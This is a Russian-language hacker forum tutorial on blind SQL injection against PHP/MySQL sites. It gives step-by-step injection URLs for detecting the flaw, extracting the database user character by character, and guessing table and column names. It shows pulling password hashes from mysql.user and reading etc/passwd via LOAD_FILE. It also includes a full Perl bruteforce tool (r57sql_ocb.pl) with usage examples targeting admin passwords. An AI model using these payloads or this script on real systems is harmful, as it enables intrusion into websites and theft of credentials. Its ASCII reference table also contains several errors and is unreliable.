[into]

Прежде всего, я хочу сказать спасибо большенству авторов статей про blind sql injection, за то, что они не могут объяснить и раскрыть тему с нуля, а втирают только про запутанные и никому не нужные функции, хоть и правильные, но безтолковые, я пишу статью для тех, кого интересует ответы на вечные вопросы... а одним из них является обход union'а в запросах. Чтобы хорошо усвоить все, я рекомендую вам свою статью по sql injection
Код:
http://forum.whack.ru/showthread.php?t=193
[немного из истории]

многие из нас знают про существование sql injection древнейший баг, многие люди искали эффективную защиту, усложняя жизнь взломщикам, одним из средств защиты является отрезание работоспособности необходимых функций, для этого взломщики приспособились к blind sql injection... Баг тоже не очень то и молодой... Принцип атаки тот же, только немного геморнее... Поехали к делу...
[Осмотр местности]
для начала нам нужно узнать присутствует ли баг в скрипте, который обращается к бд... Имеем такой скрипт
Код:
wwwsite.ru/index.php?id=10
ставим кавычку
Код:
wwwsite.ru/index.php?id=10'
если есть ошибка работы с базой данных, то есть вероятность о наличии sql инъекции
Код:
wwwsite.ru/index.php?id=11-1
если будет аналогично что и
Код:
wwwsite.ru/index.php?id=10
то это тоже скорее всего sql injection
если
Код:
wwwsite.ru/index.php?id=10+order+by+1--
ошибки нет а при
Код:
wwwsite.ru/index.php?id=10+order+by+100000000--
ошибка есть то это sql injection .
далее мы подобрали поля
Код:
wwwsite.ru/index.php?id=10+union+select+1,2,3,4,5,6--
но выводимые поля отсутствуют или вообще ничего нет, то тогда надо прибегнуть к попытке проведения blind sql injection
[Необходимые функции]
substring(1,2,3) - Это нам выдаст подстроку длиной 3 из строки 2 начиная с первой позиции
ascii - возращает нам значение из таблицы ascii
lower - все буквы будут переведены в нижний регистр, эта функция пригодится нам для удобства
к примеру
SELECT LOWER('ZXCVB');
вернет нам 'zxcvb'
обзор функций закончен идем дальше
[Практическое применение]

http://www.site.ru/index.php?id=11+A...ubstring(user(),1,1)))>97
запрос дал нам положительный результат, то есть выдалась страница что и
Код:
wwwsite.ru/index.php?id=11
это означает, что в ascii наш первый символ из user() находится под номером >97
идем дальше
wwwsite.ru/index.php?id=11+AND+ascii(lower(substring(user(),1 ,1)))>115
выдает нам отрицательный результат то есть не тоже самое что при простом id=11
значит в ascii наш символ находится <115
далее
Код:
wwwsite.ru/index.php?id=11+AND+ascii(lower(substring(user(),1,1)))>106
результат положительный, символ в ascii >106
Код:
wwwsite.ru/index.php?id=11+AND+ascii(lower(substring(user(),1,1)))>108
результат отрицательный
вот наш символ в таблице находится 106 и 108 включительно, так как у нас знак > о равенстве тут речи не идет
Код:
wwwsite.ru/index.php?id=11+AND+ascii(lower(substring(user(),1,1)))=106
результат отрицательный
Код:
wwwsite.ru/index.php?id=11+AND+ascii(lower(substring(user(),1,1)))=107
результат отрицательный
Код:
wwwsite.ru/index.php?id=11+AND+ascii(lower(substring(user(),1,1)))=108
результат положительный то есть выдалось нам тоже самое что и при id=11
первый символ из имени юзера имеет номер в ascii 108 это буква " l " (L) так как используется lower если это скажется неблаготворно на посимвольном
подборе, нам придется обойтись без её использования, так как мы теряем заглавные буквы, но в данный момент нет.
второй символ узнается таким же способом
Код:
wwwsite.ru/index.php?id=11+AND+ascii(lower(substring(user(),2,1)))>1
результат положительный
итд мы дошли до 97
Код:
wwwsite.ru/index.php?id=11+AND+ascii(lower(substring(user(),2,1)))=97
результат положительный значит наш символ в таблице ascii - 97 то есть буква a
далее
третий символ
Код:
wwwsite.ru/index.php?id=11+AND+ascii(lower(substring(user(),3,1)))>1
результат положительный значит есть третий символ в имени
мы его таким же способом и подобрали
Код:
wwwsite.ru/index.php?id=11+AND+ascii(lower(substring(user(),3,1)))=109
результат положительный итак наш третий символ в ascii имеет номер 109 то есть m
четвертый символ
Код:
wwwsite.ru/index.php?id=11+AND+ascii(lower(substring(user(),4,1)))>1
результат отрицательный, значит четвертого символа нету
и имя нашего юзера : lam
[Названия таблиц и столбцов]
Мне известны три способа
если пашет union но не выводит полей, то этим можно воспользоваться
Код:
wwwsite.ru/index.php?id=10+union+select+1,2,3,4,5,6--
мы подобрали поля ошибки нет
Код:
wwwsite.ru/index.php?id=10+union+select+1,2,3,4,5,6+from+user--
выода нет
Код:
wwwsite.ru/index.php?id=10+union+select+1,2,3,4,5,6+from+users--
вывелся результ что и при id=10
значит таблица есть поля аналогично что и при обычной sql inj
Код:
wwwsite.ru/index.php?id=10+union+select+1,2,user,4,5,6+from+users--
результат отрицательный
Код:
wwwsite.ru/index.php?id=10+union+select+1,2,username,4,5,6+from+users--
результат положительный, значит username такой столбец есть в таблице.
тут ясно
второй способ
Код:
wwwsite.ru/index.php?id=10+natural+left+join+user
результат отрицательный значит таблицы user нет
Код:
wwwsite.ru/index.php?id=10+natural+left+join+users
ошибки нет, значит таблица существует
третий способ
прямо в слепой инъекции
Код:
wwwsite.ru/index.php?id=1+AND+ascii(lower(substring((SELECT+1+from mysql.user+LIMIT+1),1,1)))>1
если таблица mysql.user существует, то нам выдаст результат 1 в ascii 31 и он >1 поэтому результат будет положительный, если нет, то ничего не выдаст и результат отрицательный... Подберем столбцы предположим есть таблица mysql.user
Код:
wwwsite.ru/index.php?id=1+AND+ascii(lower(substring((SELECT+user+from mysql.user+LIMIT+1),1,1)))>1
если нет столбца результат отрицательный, если таковой существует, то результат положительный...
Таким же способом можно узнать имя юзера и пароль, то есть так же как я описывал выше.
есть ещё такой вариант перебора, но он мне не нравится...
Код:
site.ru/index.php?id=11+AND+ascii(lower(substring((SELECT+password from mysql.user+WHERE+user="root"+LIMIT+1),1,1)))>48
просто мы указывам тут лишние значеения, которые могут быть нам не известны.
Функция LIMIT+1 отрезает нам первого юзера из таблицы, LIMIT+2 вырезает второго итд... Можно выдирать данные из information_schema а если ты панк то и
Код:
wwwsite.ru/index.php?id=1+AND+ascii(lower(substring((SELECT+LOAD_FILE('etc/passwd')+from mysql.user+LIMIT+1),1,1)))>1
если месяц потрудитесь, то может и выдерите юзеров из etc
Но если вы хотите ускорить процесс тогда читаем далее...
[Что может нам пригодиться]

Нашел скрипт от rst на перле для автоматизации процесса посимвольного перебора
Код:
#!/usr/bin/perl

# r57sql_ocb.pl
# sql-databases one char bruteforce tool

use LWP::UserAgent;

$path   = $ARGV[0];
# запрос с уязвимому скрипту с параметром

$query  = $ARGV[1];
# запрос к БД (подзапрос) результат которого будет вставлен в функцию substring()

$s_num  = $ARGV[2];
# позиция символа который перебираем

$string = $ARGV[3];
# строка в ответе сервера по наличию которой судим о успешном выполнении запроса к БД

if (@ARGV < 4) { &usage; }

# диапазон символов для перебора
$min = $ARGV[4] || 97;  # a
$max = $ARGV[5] || 122; # z

&found($min,$max);

# подпрограмма уменьшения диапазона символов
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
# если диапазон менее 5 символов то переходим к перебору
if (($fmax-$fmin)<5) { &crack($fmin,$fmax); }
# иначе находим середину диапазона
print "-> Try $fmin .. $fmax -> ";
$r = int($fmax - ($fmax-$fmin)/2);
$check = ">$r";
# проверяем ответ скрипта и в зависимости от возвращенного результата
# рекурсивно вызываем функцию с новым диапазоном (уже уменьшенным в 2 раза)
if ( &check($check) ) { print "Char > $r\r\n"; &found($r,$fmax); }
else { print "Char < $r\r\n"; &found($fmin,$r+1); }
}

# подпрограмма поиска перебором
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
# проходим циклом по диапазону
while ($i<$cmax)
  {
  $crcheck = "=$i";
  print "-> Try $i ->";
  # проверяем ответ скрипта, если ответ положительный то выводим символ и выходим
  if ( &check($crcheck) )
      { print " FOUND!\r\n-> Ascii: $i\r\n-> Char: ".chr($i); exit(); }
  else { print " NO =(\r\n"; }
  $i++;
  }
print "NOT FOUND"; exit();
}

# подпрограмма проверки результата запроса
sub check($)
{
$ccheck = $_[0];
# формируем запрос к скрипту
$http_query = $path." AND ascii(lower(substring(".$query.",".$s_num.",1)))".$ccheck;
# отправляем запрос
$mcb_reguest = LWP::UserAgent->new() or die;
$res = $mcb_reguest->post($http_query);
# получаем ответ сервера
@results = $res->content;
foreach $result(@results)
  {
  # ищем в ответе скрипта строку совпадающую с нашим условием
  if ($result =~ /$string/) { return 1; }
  }
return 0;
}

sub usage
{
print "Usage: $0 [path_to_script?param] [DB_query] [symbol_position]
[return_string] [brute_min_char] [brute_max_char]\r\n";

print "e.g. : $0 http://server.com/users.php?id=1 \"user()\" 1 \"Found: 3\" 48 57";
exit();
}
для работы достаточно указать путь к уязвимому скрипту а позицию откуда стартовать.
Пример работы скрипта для получения имени пользователя:

Код:
C:\>r57.pl http://site.com/index.php?id=11 "user()" 1 "Found: 3"
скрипт начнет перебирать первый символ имени пользователя))
или
Код:
C:\>r57sql_ocb.pl http://site.ru/index.php?id=11 "(SELECT password
from mysql.user WHERE user=admin LIMIT 1)" 1 "Found: 3"
можно эксперементировать без проблем
Код:
C:\>r57sql_ocb.pl http://site.ru/index.php?id=11 "(SELECT password
from mysql.user LIMIT 1)" 1 "Found: 3"
так тоже пойдет, скрипт начнет перебор первого символа)))
тут ясно ещё я могу предоставить таблицу ascii кто путается.
Код:
0 NUL     
1 SOH     
2 STX     
3 ETX     
4 EOT     
5 ENQ     
6 ACK     
7 BEL     
8 BS     
9 HT     
10 LF     
11 VT     
12 FF     
13 CR     
14 SO     
15 SI     
16 DLE     
17 DC1     
18 DC2     
19 DC3     
20 DC4     
21 NAK     
22 SYN     
23 ETB     
24 CAN     
25 EM     
26 SUB     
27 ESC     
28 FS     
29 GS     
30 RS     
31 US     
32 SP     
33 !       
34 "       
35 #       
36 $       
37 %       
38 &       
39 '       
40 (       
41 )       
42 *       
43 +       
44 ,       
45 -       
46 .       
47 /       
48 0       
49 1
50      2
51 3       
52 4       
53 5       
54 6       
55 7       
56 8       
57 9       
58 :       
59 ;       
60 <       
61 =       
63 ?       
64 @       
65 A       
66 B     
67 C       
68 D       
69 E     
70 F       
71 G       
72 H       
73 I       
74 J       
75 K       
76 L       
77 M       
78 N       
79 0       
80 P       
81 Q       
82 R       
83 s       
84 T       
85 U       
86 V       
87 W     
88 X       
89 Y       
90 Z       
91 [       
92 \       
93 ]       
94 ^       
95 _       
96 `       
97 a       
98 b       
99 c       
100 d       
101 e       
102 f       
103 g       
104 h
105 i
106 j
107 k
108 l
109 m
110 n
111 o
112 p
113 q
114 r
115 s
116 t
117 u
118 v
119 w
120 x     
121 y       
122 z       
123 {       
124 |       
125 }       
126 ~       
127 DEL
ещё хочу добавить, если есть фильтрация можно спокойно и в blind sql injection кодировать через ascii или в hex. Запрос от этого не изменится
если есть непонятки, можете посмотреть пример взлома одного из сайтов, проникновение осуществлено с помощью blind sql injection
ссыла:http://forum.whack.ru/showthread.php?p=4289#post4289